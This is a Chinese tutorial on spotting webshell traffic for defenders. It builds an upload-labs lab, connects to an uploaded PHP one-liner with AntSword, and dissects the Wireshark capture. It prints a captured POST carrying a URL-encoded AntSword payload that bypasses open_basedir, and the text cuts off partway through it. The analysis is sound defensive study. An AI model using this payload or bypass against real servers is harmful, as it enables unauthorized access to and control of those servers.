君衍.
一、Webshell特征流量分析
对于重保、护网等攻防演练的防守方来说,流量分析的能力需要具备,所以本篇从webshell不同工具的不同特征进行分析来进行学习。
流量特征分析工具及对比:
wireshark
:可以详细分析具体的数据包,比如从OSI七层、TCP四层每层协议等数据包都可以进行分析。burpsurite
:仅针对HTTP、HTTPS数据包进行抓包,分析,具备渗透测试部分功能,比如重放、编解码等等。
以及对于webshell利用的应急流程:从webshell是何时被部署的、又是通过什么漏洞打进来的、同时webshell的存放位置以及通过提取文件中的key密码为连接密码32位md5值得前16位作为AES得解密密钥,最后对流量进行解密以及还原所有流量进行回溯,这一流程需要明白。
二、环境介绍
首先,我使用的靶场是upload-labs靶场:
搭建在VMware上,使用的网络模式是NAT模式,网口自然是VMnet8:
之所以看以上内容是因为wireshark的抓包网卡需要进行更改:
之后我使用wireshark进行流量分析时,将抓取的网卡设置为net8即可。当然,如果靶场部署在云端,我们自然使用wlan的网卡进行抓取分析,需要根据实际情况而定。
当然,我们对蚁剑流量进行分析,自然需要下好蚁剑,安装好Burpsurite之后需要配置代理进行抓包查看。后面抓取的时候分析。
一句话木马木马已经写入php文件中,之后完成上传即可。
三、使用Wireshark进行流量分析
1、环境说明
已经将木马文件上传完毕,同时使用蚁剑添加了数据,测试连接成功。
我们打开wireshark进行抓包,之后蚁剑完成连接:
下面我们仔细分析这几个数据包:
可以看到1,4,5数据包为TCP的三次握手的数据包,10-13为TCP四次挥手的数据包。
同时数据报6为TCP在传输消息时,对于应用层可能出于超过MSS而导致不能一次包含全部应用层的PDU,将完整的消息分为了多段,所以会在除了最后一个分段,剩下都打上TCP segment of a reassembled PDU。
报文7与报文9则是HTTP的请求与响应包,中间则为TCP的确认机制ACK包。
当一个完整消息被分割成多个TCP segment 时,在能识别运行在TCP之上的应用层协议前提下,wireshark为了能标识出哪些TCP segment需要被重新组装(reassembled),从而将除了最后一个的其他segment都打上“TCP segment of a reassembled PDU”。
所以这里我们进行流量分析主要分析报文7请求包以及报文9相应包。
2、HTTP追踪流分析
我们这里直接查看TCP追踪流:
数据包内容如下:
POST /upload/upload/1.php HTTP/1.1
Host: 192.168.217.143
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 1797
Connection: close
zyan=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.0ac4da9ca%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir<